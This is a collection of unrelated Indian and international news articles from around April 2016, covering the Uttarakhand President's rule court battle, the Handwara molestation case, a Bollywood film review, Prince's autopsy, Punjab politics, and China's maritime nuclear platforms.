Another MLA Subodh Uniyal hailed the apex courts decision. On Thursday, he expressed displeasure over the HC decision that set April 29 for Harish Rawat to prove his majority on the floor of the House.

But the next hearing in the Supreme Court is on April 27, indicating that the possibility of a trust vote still exists.

In such a scenario, the rebels will play a crucial role in the 70-member house. The Congress has 36 members  including the nine rebels, and the BJP has 28  including one rebel. Six other members are said to support the Congress. One nominated member hails from the Anglo-Indian community.

If the rebels are disqualified, the house strength comes down to 61. The Congress  with 27 legislators  may then win the trust vote if the six MLAs  from smaller parties and independents  back it.

The rebel group indicated in the past that they were not opposed to the Congress and wanted Harish Rawat out.

Until recently, Harish Rawat and Congress state president Kishor Upadhyay said they were in touch with five or six rebels but now say talks failed.

We are no more in touch with rebels. It is not possible for us to accept rebels demand (to remove Harish Rawat as CM candidate), Upadhyay told HT.

Rebels earlier said they were considering forming a separate political group but the idea appears to have evaporated in the fast-paced political developments over the past few days. As of now we are not forming any grouplet the courts decision come first, Harak Singh Rawat said.

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Uttarakhand chief minister Harish Rawat presided over a cabinet meeting late on Thursday, hours after he was reinstated by the high court, that gave its nod to eleven proposals including reappointment of over 6000 guest teachers on a monthly stipend of Rs 15000.

The Uttarakhand high court had quashed Presidents rule in the state on Thursday, restoring the Rawat-led Congress government and asking it to prove its majority in the assembly on April 29. The verdict comes as an embarrassment for Prime Minister Narendra Modis government at the Centre, accused of trying to grab power in opposition-ruled states.

The guest teachers had been protesting after governor KK Paul revoked the deposed Rawat governments order for their reappointment by April. Rawat had extended his support to the agitating guest teachers demanding the renewal of their appointment on an annual basis and a pay hike by sitting on a token strike.

The cabinet also cleared a proposal recommending setting up a committee under the finance minister for revision of circle rates of land. District magistrates would be the members of the said panel.

It has also decided to increase all social pensions by Rs 200. The move would benefit nearly seven lakh pensioners putting an additional burden of Rs 13.5 crore on the exchequer, officials said.

The cabinet also approved a proposal recommending promulgation of an ordinance each on land consolidation and regularisation of slums. The ordinances were brought in after the bills on land consolidation and regularisation could not be passed after the Rawat government was reduced to a minority during the assemblys budget session on March 18, according to officials.

It also gave a nod to a proposal recommending an allocation of Rs 5 crore each to all the 13 districts in the state. A committee would be set up for hearing disputes and will be headed by a minister each for all the districts in the state.

It also cleared a proposal that all state-run colleges be run on morning and evening shifts.

Rawat along with some of his MLAs also called on the governor to inform him about the high court order revoking the Presidents rule in the state.

It was a courtesy call, Surendra Aggrawal, Rawats media in-charge told HT.

The Centre imposed Presidents rule in the state on March 27 citing governance breakdown after nine Congress lawmakers rebelled against Rawat. The deposed chief minister had challenged in court the Centres decision, which came just a day before he was to prove his strength in the assembly.

A division bench of the high court said at the end of four days of scathing observations against the Centre that it did not find enough material to justify the imposition of Presidents rule.

The high court said the disqualification of the nine rebel MLAs by the speaker under the anti-defection law was no material for the imposition of Presidents rule. A single bench of the court will hear on April 23 the nine rebels plea against their disqualification, which may impact Rawats floor test.

If Rawat fails to prove his majority, the governor could either invite the BJP to form the government or dissolve the house and call fresh elections.
The Uttarakhand high courts verdict quashing the Presidents rule in the state comes as a major embarrassment for the NDA government that rushed to the Supreme Court for succour.

Quashing the March 27 proclamation, a division bench headed by Uttarakhand HC Chief Justice, KM Joseph said the imposition of the Presidents rule under Art 356 of the Constitution was contrary to the law laid down by the Supreme Court. Instead it ordered the ousted chief minister to prove his governments majority on the floor of the assembly on April 29.

The high courts verdict is unprecedented given that a state government was reinstated after being dismissed by the Centre. Previous judicial orders only set aside the Presidents rule and eschewed from reviving dismissed governments, mainly because the delayed verdict hardly left any scope for such relief.

In the SR Bommai case, a nine-judge bench of the Supreme Court in 1994 ruled that if the court strikes down the proclamation imposing Presidents rule, it has the power to restore the dismissed government to office and reactivate the legislative assembly.

But the top court could not revive the assemblies in Karnataka, Meghalaya and Nagaland as fresh elections had already been held.

Even in the infamous Bihar case (Rameshwar Prasad v Union of India), the Supreme Court in January 2006 chose to exercise restraint and stopped at quashing the notification imposing Presidents rule.

A five-judge bench headed by then-Chief Justice of India, YK Sabharwal, had taken note of the fact that fresh elections had already been notified in the state.

The SC declared the imposition of presidents rule in Bihar unconstitutional. But having regard to the facts and circumstances of the case, the SC said it was not a case where the status quo ante deserved to be restored and the legislative assembly revived.

The Uttarakhand high courts verdict is a landmark also for the fact that it was delivered in the quickest possible time. In most cases, courts have dealt with legal challenges related to the imposition of Presidents rule in a rather relaxed manner, invariably giving ample time to political parties to manipulate and cobble together a majority in the House.

Imposition of Presidents rule has been a controversial issue and successive governments  irrespective of their political ideology  have used and missed it. But the Supreme Courts verdict in the SR Bommai case restricted the scope for misuse of Article 356 to a great extent.

While holding that courts cant question the Union cabinets advice to the President, the SC said they can question the grounds on which conclusion regarding a breakdown of constitutional machinery is reached.

It also said that the use of Article 356 was justified only when there was a breakdown of constitutional machinery and not that of administrative machinery.

The Supreme Court further narrowed down the scope for misuse of Presidents rule in January 2006 when it declared the dissolution of the Bihar assembly as null and void. It held that the Governors report could not be taken at face value  gospel truth as they had referred to it  and must be verified by the council of ministers before being used as the basis for imposing Presidents rule. It had severly criticised governor Buta Singh as well.

On Friday, the SC stayed the Uttarakhand High Courts order until April 27. But its certainly a historic verdict for it pushes the boundary and expands the scope of judicial review of Article 356, further limiting its misuse.
Lawyers of the minor girl, who had alleged molestation by two local boys in north Kashmirs Handwara town last week, met her at Zachaldara on Thursday, a day after the Jammu and Kashmir high court had directed the superintendent of police to facilitate a meeting.

Khurram Parvez, a spokesperson of the Jammu and Kashmir Coalition of Civil Society (JKCCS) that is providing legal help to the girl and her family, said the girl and her family had a two-hour long meeting with Parvez Imroz and Kartik Murukutla, while two policemen stood outside the room.

She informed the lawyers that once she is out of the police detention; she would struggle for justice and expose the lies of the State and those who have been maligning her image, Parvez said in a statement.

The girl and her father, according to the JKCCS, were brought from an undisclosed location, which is almost 5 km away from Zachaldara, where the actual meeting was held.

The family confirmed that they were being held in police custody against their will, and seek urgent relief from the High Court to have them released from the custody and be allowed to reside at a place of their choice where they can continue their legal struggle, Parvez said.

Read | High court directs SP to allow Handwara girl to meet mother, lawyer

While government officials maintained that the girl and her family were being housed at a relatives house without any restrictions, the JKCCS said that it was evident from the polices conduct on Thursday that the minor girl is in police custody, and is under severe restrictions, surveillance and her movement, and those wishing to meet her, are regulated by the police.

The statement further claimed that the girl is daunted by continuous police detention and resultant instability and worried for the security of her family members.

The JKCCS also challenged the police status report filed before the court on Wednesday which said that the girl and her father had requested police protection and are not wrongfully confined in any way.

Rumours that an Indian Army soldier had molested a girl spurred large-scale protests in the Valley over the previous week, resulting in the death of five people. The minor, however, claimed later that she was molested by two local boys.

Nayeema Mehjoor, the chairperson of the State Commission for Women, told the media on Wednesday night that the girl was not in police custody but at a relatives house. However, one or two policemen are with the girl to make her feel safe as she is feeling insecure and is mentally disturbed, she added.

Read | Lawyers to meet Handwara girl as govt, protesters debate detention

I talked to the girl myself. She is quite exhausted and disturbed. Even the girls family members are feeling insecure about her security, which is why they are putting up at a relatives house. I dont think police have been restricting the girls movements, Mehjoor was quoted as saying by a Srinagar-based news agency.

The JKCCS, however, stuck to the fact that the girl is in police custody and restrictions and expressed its concerns on Mehjoors statement.

Protests in Handwara

In Handwara, scores of students marched from Government Degree College to the residence of Nayeem Qadir, a man killed in firing by security personnel last week, on Thursday to protest against the death of five persons when security forces tried to quell the recent protests. Qadir was a student at the degree college.

Students, holding placards like Kill Me, I am Nayeem, shouted pro-Azaadi slogans and held funeral prayers for Qadir and others who died last week. The town shut spontaneously following the march.

A delegation of the hardliner Hurriyat (G) faction also visited Handwara and, according to a press statement, paid glorious tributes to the martyrs and expressed grief and sorrow with the families of the deceased.

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Santa Banta Pvt Ltd

Cast: Boman Irani, Vir Das, Neha Dhupia, Lisa Haydon

Director: Akashdeep

Rating: 1/5

This film is accused of hurting a certain communitys sentiments, and one wonders why. Ill tell you why: Because its so lethargic and unfunny that the audience cannot wait for it to end.

The plot is (thankfully) not complex: Santa (Irani) and Banta (Das) are two good-for-nothing bumbling Punjabis sent to rescue the kidnapped Indian High Commissioner in Fiji. The mission backfires because our heroes are ordinary, fun-loving crackpots rather than competent agents.

Of course, Santa-Banta jokes pepper this narrative, but the mere compilation of them does not work; they restrict the situational humour from blossoming. The screenplay is so shoddy that even Irani and Das seemed bored.

Santa Banta Pvt Ltd isnt funny at all. (YouTube)

The (in)famous duo needed crafty characterisation to see them through for they were on a mission and not at a stand-up session. And in spite of an ensemble cast, no one was employed well.

Johnny Levers Nepali gangster made matters worse, but Vijay Raazs RAW agent act salvaged some of it.

Truck drivers, beer guzzlers, spontaneous dancers and simpletons - the movie has all the stereotypes. But in what couldve been a 140-minute laugh riot, the actors ended up looking as confused as the plot.

Read: Bombay HC refuses to ban release of Santa Banta Pvt Ltd

The animation did little to enhance the film, almost reminiscent of films like Cash and Main Prem Ki Deewani Hoon, where CGI birds emoted better than humans. The songs come as a respite, but even they are loud and lacked context.

To call it slapstick would be an insult to the audiences sensibilities because the jokes are stale and the situations humourless.

The real outrage here is how can someone make a story with Santa-Banta, the epitome of two-liners, such a lacklustre affair?

Watch trailer here:

Interact with Rohit Vats at Twitter/@nawabjha

Follow @htshowbiz for more

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A Bangladeshi national was on Friday arrested at the domestic airport in Mumbai for allegedly harassing air hostesses on board an Indigo flight.

The incident took place on the Kolkata-Mumbai Indigo flight 6E 326. When the air hostesses were serving, four passengers started taking their pictures with mobile phones, a co-passenger said.

As they kept taking pictures despite being requested not to do so, the air-hostesses approached the pilot, following which their mobile phones were confiscated by a crew member, he said.

The airport control room was also informed, and upon landing, security held three of them, while one managed to escape, he said.

DCP Virendra Mishra said based on the complaint filed by one of the air-hostesses, only one passenger, Ashim Bhumik (38), a Bangladeshi national, was arrested under section 354 (assault or criminal force to woman with intent of modesty) of IPC.

Indigos spokesperson was not available for comments.
After being turned down by various hall owners, student leader Kanhaiya Kumar has finally found a venue to address students in Mumbai on Saturday  Adarsh Vidyalaya, a school in Chembur.

Kanhaiya, president of the Jawaharlal Nehru University Students Union, shot to fame, when he was slapped with sedition charges. Kumar will be speaking at a convention organized by the All India Youth Federation (AIYF) on the dissent in the universities and the resistance on them. Kumar will speak at the Bal Gandharva auditorium in Pune on Sunday. We finally overcame all hurdles and the event is happening, said Prethy Shekhar, state secretary, Democratic Youth Federation of India (DYFI), one of the Left outfits.

However, on Friday, the Chembur police station refused to accept the application intimating them about the event. Finally, the organisers got police commissioner Dattatray Padsalgikar to intervene. Some people are spreading baseless rumours via social media that the police are hostile towards the programme. We would like to state a no-objection certificate (NOC) is required from the person, whose place will be used for the programme. Once that is issued, we can provide security depending on the need, read a statement issued by the Mumbai police.

While the state BJP has maintained silence, both the Sena and MNS have taken a neutral stand.

The search for a venue was a Herculean task as managements and owners of prominent halls in the city refused to rent out their premises for the meeting. Janata Shikshan Sanstha in Worli was finalised earlier, but the police imposed stringent conditions, which the organisers were not okay with. Finding a venue in Pune, too, was not easy. Rashtra Sewa Dal ground was the original venue, but the Pune police objected to it citing security concerns. Finally, Pune mayor and NCP leader Prashant Jagtap got the venue.
The second phase of placements at Indian Institute of Technology-Bombay (IIT-B) got a boost with public sector companies returning to the campus after a hiatus.

Government companies had stopped visiting the campuses owing to the Madras high court order, which has now been stayed.

As a result, the IIT-B placement cell has approached a series of companies from the government sector. Until Thursday, HPCL and Coal India had conducted interviews and offered jobs to around 20 students on campus and the salary packages offered have been around Rs 10 to Rs 12 lakhs per annum.

The second phase of hiring is anyway a slow process but now that there is no ban on PSUs hiring from IITs, we are hopeful that more companies will come on campus and make job offers, said Atul Shukla, placement manager for IIT-B.

He added that while till last year only one company, Coal India, had come on board to offer jobs to students, this year, two firms have already hired students and they are hoping to bring more interested PSUs to the campus.

Government-run companies hiring from the IITs and the IIMs had stopped temporarily following a petition filed in the Madras high court in 2014.

The petition sought a ban on public sector companies opting for campus placements at private institutes, thus, eating into chances of students from other government institutes vying for the same jobs. This ban was finally lifted in December 2015, giving private institutes a free hand to approach more companies.

Read more: Innovations with robots, the IIT Bombay way

Theres no way that a court can hold PSUs from hiring students from private institutes, because in no way is the constitution violated. Even when there was a ban on them hiring, weve had one or two PSUs approaching the institute and have also hired a handful of students. This year, what is even more encouraging is the fact that they are matching pay scales with other private companies, said a IIT-B senior official. BPCL and Coal India has also hired students from IIT-Gandhinagar and IIT-Delhi this year.

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An autopsy on US music superstar Prince on Friday sought to determine why the innovative performer died, but authorities cautioned it could take weeks before the results are made public.

The intensely private musician, whose hits included Purple Rain and When Doves Cry, was found dead at his home in suburban Minneapolis on Thursday at the age of 57, shocking millions of fans around the world and prompting glowing tributes by fellow musicians. The local Carver County Sheriffs Office is investigating the circumstances of his death, and Sheriff Jim Olson was due to hold a news conference at 3 pm (4 pm ET, 2000 GMT). Olsons spokesman cautioned, however, that the investigation was ongoing and that the sheriff may be unable to answer the most pressing questions.

The influential star, born Prince Rogers Nelson, was found unresponsive in an elevator at the Paisley Park Studios complex where he lived in the suburb of Chanhassen, authorities said. The local medical examiners office began carrying out a post-mortem examination on Friday morning but said its results could be some time coming.

As part of a complete exam, relevant information regarding Mr. Nelsons medical and social history will be gathered. Anything which could be relevant to the investigation will be taken into consideration, the Midwest Medical Examiners Office said in a statement.

No information will be released until all results have been obtained, it added. Gathering the results will take several days and the results of a full toxicology scan could likely take weeks, the statement said.

The autopsy was being conducted by the offices chief medical examiner, forensic pathologist A. Quinn Strobl.

Princes music blended styles including rock, jazz, funk, disco and R&B, and it won him seven Grammy Awards as well as an Oscar. He had been on a US tour as recently as last week.

HE WAS CLEAN

But he was briefly hospitalized a week ago after his plane made an emergency landing in Moline, Illinois, suffering from what his representative told celebrity news website TMZ was flu.

Nevertheless, the star hosted a party at Paisley Park last Saturday night at which one attendee said Prince played two tunes on a piano and then introduced fans to his doctor.

Prince first found fame in the late 1970s before becoming one of the most inventive forces in American pop music.

As well as singing and songwriting, he played multiple instruments including guitar, keyboards and drums. A Jehovahs Witness and a strict vegan, he sold more than 100 million records and was inducted into the Rock and Roll Hall of Fame in 2004.

Record producer LA Reid told NBCs Today show on Friday that he was perplexed by the death of his friend.

The thing that really bothers me about it is the Prince I know was super-healthy, vegan, wasnt an abuser of drugs, wasnt an abuser of alcohol, Reid said. He was clean and he looked young and he looked really healthy and vibrant, so the whole thing is really mysterious to me.

During his life, Prince was known as fiercely determined to protect his intellectual property.

How others might profit from his legacy hinges on how astute he was about arranging for control of his music after death. Twice divorced with no surviving children, he apparently lacked any immediately identifiable heirs.

Ex-wife Manuela Testolini said that as well as being a husband and friend, Prince had been a fierce philanthropist who encouraged her to set up her own charity. She had contacted him only a few days ago, she added, to tell him she was building a school in his honor.

His passing leaves me with such a devastating feeling of pain and loss, Testolini said in a statement on Friday. I will always love and respect him. I am heartbroken beyond words.
The police detained 10 workers of the Aam Aadmi Party (AAP) on Friday morning when they were moving towards the office of the enforcement directorate (ED) to hand over coins to chief parliamentary secretary (CPS) Avinash Chander who was summoned by the central agency in connection with the multi-crore Bhola drug racket.

The CPS and his wife and brother were to come to the ED office but they didnt turn up. The AAP workers also raised slogans against CPS and the state government.

Station house officer Navdeep Singh and bus stand police post in-charge Major Singh arrived with force and took the protesters to the police station as a preventive step. They were released after an hour. The ED has been investigating the Avinashs alleged relationship with Goraya-based businessman Chunni Lal Gaba, an accused in the case whose properties worth more than `80 crore have already been attached by the ED.

The probe is focused on the diary recovered by the income tax department from Gaba in which a few prominent entries have been found on the SAD MLAs name.

The diary which has overwriting and cuttings on a few pages having Avinashs name was taken by the ED from the I-T department through court and was thereafter sent to the forensic lab to find out the actual names.
The Shiromani Akali Dal (SAD) on Friday said that Punjab Congress president Capt Amarinder Singhs visit to North America had turned out to be a complete flop show and the Maharaja could now leave all pretences aside and start holidaying as per his original plan.

In a statement in Chandigarh, SAD general secretary Dr Daljit Singh Cheema said the PPCC presidents intentions had become clear from April 19, the day he set foot in Chicago.

Amarinder remained holed up in a luxurious hotel and received multi millionaire NRIs only in his room to the exclusion of everyone else. He wanted to meet wealthy NRIs only and was not interested in interacting with the common man, Cheema said. He said this was why Amarinders team did not follow the due procedure resulting in him not getting permission to hold political rallies in Canada now.

Read: Capt cancels political rallies after Canadian foreign ministrys request

Cheema also challenged Capt Amarinder to spell out any series of initiatives or even one that he took to mitigate the problems of NRIs.

If seen from this standpoint, it is clear that Amarinder is only letting out steam by writing a protest letter to the Canadian Prime Minister in this regard. This is an eye wash. Punjabis know about your carefree nature and your desire to shift to cooler climes during the summer months. It therefore should not surprise NRIs also that they have also been misled into believing that Amarinder really wanted to interact with them and know about their problems, Cheema stated.

Read: Sikh groups complain to Canadian authorities about Amarinders visit
Deputy chief minister Sukhbir Singh Badal and Shiromani Gurdwara Parbandhak Committee (SGPC) president Avtar Singh Makkar have been summoned before civil judge (junior division) Navdeep Kaur Gill in person on May 19 to answer why contempt-of-court proceedings should not be initiated against them over evicting a tenant from an SGPC-run shop near the Golden Temple in Amritsar.

The others summoned to appear on May 19 include SGPC chief secretary Harcharan Singh, shrines estate manager Paramjit Singh, rent-collection clerk Tarsem Singh, and three other employees of the Sikh religious body. The summons were issued on Friday on a petition by Harbir Singh, tenant of shop 12 near the Ghanta Ghar main entrance to the shrine.

The plaintiff submitted that the eviction on the night of April 12 had violated the same courts June 2012 orders restraining the SGPC from dispossessing the plaintiff, except in the due course of law. The court observed that citizens had the right to protect their property until it was taken away from them by legal means.

Calling for contempt-of-court proceedings against Sukhbir, Makkar and others named in his petition, Harbir Singh submitted that the 50-odd people sent over to evict him had stolen all shop items, besides gold ornaments and a purse containing Rs 10,000 cash. He filed photographs as evidence and claimed that police had not considered his application for registering a case of theft.

The petitioner has alleged that it was the deputy CM who on his visit to the Golden Temple on April 11 had directed the SGPC officials to get shop 12 cleared so that the government could proceed with its plan to beautify the area around the shrine. Barring the petitioner, all other traders from rented shops on both sides of Ghanta Ghar had received alternative sites from the government.

The shopkeeper has also sought a theft case against those who came in to evict him.
Chandigarh has been conferred with the Prime Minister Award for excellence in public administration among UT Category Pradhan Mantri Jan Dhan Yojana on Thursday.

The award was handed over to UT deputy commissioner Ajit Balaji Joshi by PM Narendra Modi in New Delhi on the occasion of Civil Services Day.

A new category of excellence in implementing a priority programme, which includes Pradhan Mantri Jan Dhan Yojna (PMJDY), Swachh Bharat Mission (Grameen), Swachh Vidyalaya and Soil Health Card scheme have been added under the category. Under the PMJDY, Chandigarh was conferred with an award for its exemplary work.

As a part of the initiative, the Chandigarh administration has achieved the target of one account per household within 7 months of the launch of PMJDY. For enhancing enrolment under PMJDY, special counters were set up in various public dealing premises, such as the DC office, SDM and Estate office. Asha and aganwari workers were also enrolled, outsourcing agencies enrolled their manpower, labour department was actively involved.

Major achievements of UT under the Pradhan Mantri Jan Dhan Yojana

2,22,853 accounts opened under the scheme. Out of which 1,99,196 accounts seeded with Aadhaar card. A total of `59 crore deposited in PMJDY account

Several camps, programmes, surveys and meetings were conducted through radio FM, print, media, pamphlets and road shows for mass awareness

49,778 people enrolled under Pradhan Mantri Jeevan Jyoti Bima Yojana. 1,27,389 people enrolled under Pradhan Mantri Suraksha Bima Yojana.

1,82,414 RuPay cards issued, out of which 1,02,275 cards activated .25 active Bank Mitras in Chandigarh. 40, 615 transaction worth Rs 30.28 crore in last 3 months facilitated by them.
Commuters, especially women, riding two-wheelers covering their faces to save themselves from scorching heat will no more be allowed to cover faces while driving, as Ludhiana police have banned the practice with an aim to maintain law and order situation in the city.

Ludhiana police commissioner Jatinder Singh Aulakh issued the orders for imposing the ban on the practice under Section 144 of the Code of Criminal Procedure (CrPC) on Thursday.

The commissioner of police said, Anti-social elements usually cover their faces while executing crimes to prevent themselves from being identified, and it becomes difficult for the police to trace them.

The orders will last over the next two months. Aulakh said, Police will take action against violators. People with allergies and other medical reasons have however been exempted.

The ban was last introduced by former commissioner of police Paramraj Singh Umranangal in August 2015, when snatchings and loot incidents recorded a rise.

A case under Section 188 (disobedience to order duly promulgated by public servant) of the IPC was then also registered against a 25-year-old man on August 22 for covering his face while driving a two-wheeler at Daresi police station.

The commissioner of police has also issued orders for the shopkeepers to keep a record of buyers of army print clothes and uniforms under Section 144 of the CrPC. The commissioner said, It has been found that shopkeepers dont keep a record of the sale of army print clothes and uniforms. Offenders could disturb law and order situation or execute crime in the city by wearing army, paramilitary uniforms.

For this, Aulakh has ordered the shopkeepers to ask for photograph, identification proof and mobile numbers of the buyers. The shopkeepers will have to submit the record of sale with police stations concerned.

Besides, a ban on installing any plates bearing name and designation of vehicle owner, who is a member of any political party and other organisation, on the rear or front of the vehicle, has been invoked. Police commissioner has also banned police colour number plates.

In his order, Aulakh said, Some leaders of the political or private organisations used to install plates with their designations in the respective parties. Criminals can misuse the number plates in disturbing law and order situation in the city.

Ludhiana police commissioner Jatinder Singh Aulakh issued the orders for imposing the ban on the practice under Section 144 of the Code of Criminal Procedure (CrPC) on Thursday.

The commissioner of police said, Anti-social elements usually cover their faces while executing crimes to prevent themselves from being identified, and it becomes difficult for the police to trace them.

The orders will last over the next two months. Aulakh said, Police will take action against violators. People with allergies and other medical reasons have however been exempted.

The ban was last introduced by former commissioner of police Paramraj Singh Umranangal in August 2015, when snatchings and loot incidents recorded a rise.

A case under Section 188 (disobedience to order duly promulgated by public servant) of the IPC was then also registered against a 25-year-old man on August 22 for covering his face while driving a two-wheeler at Daresi police station.
Ten months after transfer from Karnataka, former militant Gurdeep Singh Khera was on Friday released on six-week parole from the central jail in Amritsar.

Khera (55) was in Karnatakas Gulbarga jail from 1990 to June 2015. He belongs to Jallupur Khera village near Rayya in Amritsar district. Confirming the release, central jail superintendent Daljit Singh Bhatti, said: He was out at 5pm. All parole documents had come to the jail authorities on Tuesday.

Khera is second former militant shifted to Amritsar from outside Punjab. Earlier, 1993 bomb blast convict Devinder Pal Singh Bhullar was brought over from New Delhi. He is under psychiatric treatment at Guru Nanak Dev Hospital. Khera was booked under the Terrorist and Disruptive Activities (TADA) Prevention Act and, later, sentenced to life imprisonment in two different cases registered in 1996, in New Delhi and Bider in Karnataka.

Jail sources in Amritsar have said that Khera was convicted of murder and violation of the explosives Act.

Dal Khalsa happy

Welcoming the release of Gurdeep Singh Khera, Sikh radical organisation Dal Khalsa said it was his right and the state government should not pat itself on the back for this.
In a major respite to both parents and students, the protesting staff of Gian Sagar Medical College and Hospital, Banur, called off their nearly three-month-long protest on Thursday after the management paid them two more months salaries as per a recent settlement.

The classes in the college have been suspended since February 25 after both teaching and non teaching faculty had gone on an indefinite protest owing to nonpayment of their salaries since September. The hectic parleys between government and staff started following pressure from parents.

Saying all classes would resume on Friday, chief executive officer Manish Jakhar said the college had cleared all their dues till January as assured to the staff and state government in recent meetings with medical education secretary Hussan Lal. Their pending dues till March will now be cleared positively by the end of this month, he added.

He said it was tough time for the college as the dwindling revenue created acute financial crisis. But we are on a revival path. With additional funds being infused recently, we will be comfortable in our management in the days to come, he said, adding that their immediate priority would be to cover the pending syllabus of the students as they were the worst affected in the recent crisis, besides improving the hospitals functioning.

With the faculty assuring us that they are willing to take extra classes, we will able to revive studies at the earliest along with hospitals working, Jakhar said.

FACULTY SHORTAGE MAJOR CONCERN

A major concern that looms large over the college is the faculty shortage. Sources said several departments, including paedratrics and medicine, were left with very few teaching staff. With the Medical Council of Indias recognition pending this year, the college must fill its vacancies at the earliest, sources said.

Jakhar said the process to hire staff was in process and the management would soon be able to hire new faculty as per the MCI norms.

WILL PERMANENTLY MONITOR WORKING

Hussan Lal said the department would permanently monitor the colleges working and ensure that students didnt face such a crisis again. The college has been asked to submit its financial status for the next six to seven months so that such a situation could be avoided, he said.

The college, it is learnt, has also given a written undertaking that the fee collected from parents would be used only to pay staff salaries and meeting its running expenses.

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Raising concern over the pollution, noted social activist and Arya Samaj leader Swami Agnivesh has said the Green Revolution was responsible for environmental deterioration.

He was addressing a seminar organised by local non-government organisation (NGO) Folklore Research Academy in collaboration with Punjab Pollution Control Board (PPCB) at The Millennium School here to mark the World Earth Day during which spiritual leaders from different religions expressed their views.

On pretext of the Green Revolution, pesticides and chemical fertilizers were promoted in the state. It disturbed the eco-system here due to which a number of people are facing cancer and other deadly ailments, said Agnivesh.

The social activist said the Western development model being implemented by India is anti-Nature. This model has paved the way for loot of natural resources and promoted the urbanisation, industrialisation and consumerism. Former UPA as well as incumbent NDA government have been promoting this, he said.

He said, To save the Earth, we have to implement alternative model roots prevailing in our cultural and religious values. All religious leaders should take the responsibility to spread these values.

Akal Takht Jathedar Giani Gurbachan Singh said Guru Granth Sahibs teachings, which give respect to precious natural resources, should be followed by all to get rid of all kinds of pollution.

Raising concern over ground water depletion, he also made an appeal to the people to shun religious practices that pollute water resources. He urged the governments to enact a law in this regard.

Gurbani teaches us to respect air, water and other natural resources and humans should live in the light of these teachings, opined environmentalist Baba Sewa Singh.

Besides, leaders of different religions, including Jugal Kishore Shastri (Ayudhya), Syed Nazim Ali Nizami, Syed Farid Maharaj, Bhikshu Sangasena, Giani Tanveer Ahmed Khadim and Bishop Samant Roy expressed their views on water crisis as per teachings of their religions.

Presenting the vote of thanks, board chairman Manpreet Singh said NGOs should join hands to spread awareness about environmental issues.

Teachers as well as students from various schools also attended the seminar.

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Breaking social taboos over homosexuality within the local South Asian community, the organisers of the Baisakhi parade created history by including LGBT community in the event.

The members of Unifor, which claims to be Canadas largest private sector union, joined the parade with rainbow flags and signs with a message in solidarity with gay pride movement. Unifor supports LGBT community and its equal representation at workplaces.

According to Pall Singh Beesla, who was the in-charge for floats that participated in the parade under the aegis of Khalsa Diwan Society, the oldest Sikh religious body in Canada, this was the first time that LGBT community not only joined the Baisakhi parade, but got an opportunity to participate in the Sikh religious parade anywhere in Canada.

The development is important considering the religious significance of Baisakhi, which also happens to be the birthday of the Khalsa Panth that was created by the tenth Sikh guru, Guru Gobind Singh in 1699.

Keeping in mind the underlying message of social justice behind Baisakhi, Beesla readily agreed to include Unifor contingent with a message to support LGBT community when the latter approached him.

Sikhism is a forward thinking religion that does not discriminate against anyone, so why discriminate against people on the basis of sexual orientation? Beesla said.

Notably, an orthodox section within the Sikh community, like other orthodox religious groups, also opposes homosexuality. It is pertinent to mention that the Sikh clergy in India had advised Canada-based Sikh lawmakers not to support a bill in support of same sex marriages. Only recently, when the lesbian premier of Ontario Kathleen Wynne visited India, the Sikh priests announced that she wont be honoured at the Golden Temple, the holiest shrine of the Sikhs in Amritsar. However, several prominent Sikhs in Canada have been consistently supporting the rights of the gays and lesbians in accordance with the Canadian Charter of Rights that guarantees equality to visible minorities.
China has approved the building of its first maritime nuclear power platform to boost the efficiency of projects in the volatile South China Sea, where Beijing is locked in disputes with several maritime neighbours.

At least 20 such platforms could be in the pipeline, the influential Global Times tabloid quoted an official from the government ship-building industry association as saying.

The foreign ministry on Friday said it hadnt heard of the development.

The development of the nuclear power platforms is a burgeoning trend, Liu Zhengguo, director of the general office of the China Shipbuilding Industry Corporation (CSIC), told the newspaper.

Asked about an earlier report that mentioned 20 platforms would be built, Liu said demand will decide the number.

The exact number of plants to be built (by CSIC) depends on the market demand, he said, without confirming or denying the reported number. Judging by various factors the demand is pretty strong.

The report added: Analysts believe that the platform, once accomplished, could significantly boost the efficiency of the countrys construction work on islands in the South China Sea.

The report quoted Liu as saying construction of the platforms was based on mature technology and that plants were mainly for civilian use, such as providing electricity for oil drilling platforms.

Li Jie, a Beijing-based naval expert, said the platforms could provide reliable power for lighthouses, seawater desalination, rescue and relief equipment, defensive weapons and airports and harbours on islands in the region.

Normally we have to burn oil or coal for power. Given the long distance between the Nansha Islands and the Chinese mainland and the changing weather and oceanic conditions, transporting fuel could be an issue, which is why developing the maritime nuclear power platform is of great significance, Li said.

Chinas apex planning body, the National Development and Reform Commission, approved the building of the first platform and directed experts to carry out viability studies.

Foreign ministry spokesperson Hua Chunying did not elaborate when she was asked about the report at the regular news briefing on Friday. What you just mentioned is a media report. I havent heard about that, she said.

China is involved in claims in the South China Sea with several countries such as the Philippines, Vietnam, Malaysia, Brunei and Taiwan. China is already building artificial islands and runaways on several islands in the region. The region is said to be rich in oil and gas.
A winner is a loser who doesnt give up. This is a piece of advice for all the disenchanted and marginalised Muslim youth in Belgium from the erudite Mohamed Ridouani, deputy mayor of Leuvan, one of the largest cities in the country.

In a country struggling to come to grips with the emergence of jihadi Islam from among Muslim Belgians who have been born and brought up in the country, and from whose ranks the terrorists who perpetrated the recent carnage came, Ridouanis is a voice of sanity and hope.

Born to illiterate parents who emigrated to Belgium from Morocco in the early seventies, Ridouanis rise in politics as a representative of the Flemish Socialist Party has been unparalleled.

At the age of 37, with just nine years in politics, he has set his eyes on mayorship in 2018. The problem began with migrants who came to Belgium with the intention of going back. Belgium did not prepare for these people to stay but they did and so began a marginalisation which would eventually manifest in the kind of gratuitous violence we saw recently.

For decades, there was no policy of integration, little attention to education or to the ghettoisation of these migrants, says Ridouani, making many of the young easy targets for preachers of hatred and divisiveness.

Let us not forget that many of the jihadis had criminal backgrounds, they were already misfits in society. Living in hopeless ghettos, with no future to look forward to, unaccepted by the society of their birth, young Muslims are seeking recognition and a sense of purpose through violence and jihadism.

Ridouani says the answer lies in education and greater integration. It also lies in stopping future attacks through stepping up human intelligence. We have to infiltrate these radicalising societies to learn more about plans for terror. At the same time, we must restore a sense of self-esteem to young Muslims. We must diversify housing projects, we must bridge the distance between Muslims and others. I talk about this all the time when I visit schools of which I am in charge, he says.

The current fear and terror could be a catharsis, he feels, a painful period from which there will be a real awakening.

The Islamic State tries to spilt people and we must not play into its hands, Ridouani asserts. I would say that 99% of Muslims are not with IS but the majority always tends to be passive. Moroccan Islam, for example, is very moderate. It is the Saudi variety that has led to the growth of a rigid and violent Islam, he feels.

I had mentors, people to help me stay on the right path, parents who worked overtime to help me get an education. I want to do as much as I can for young people in Belgium, not all of whom may be Muslims.

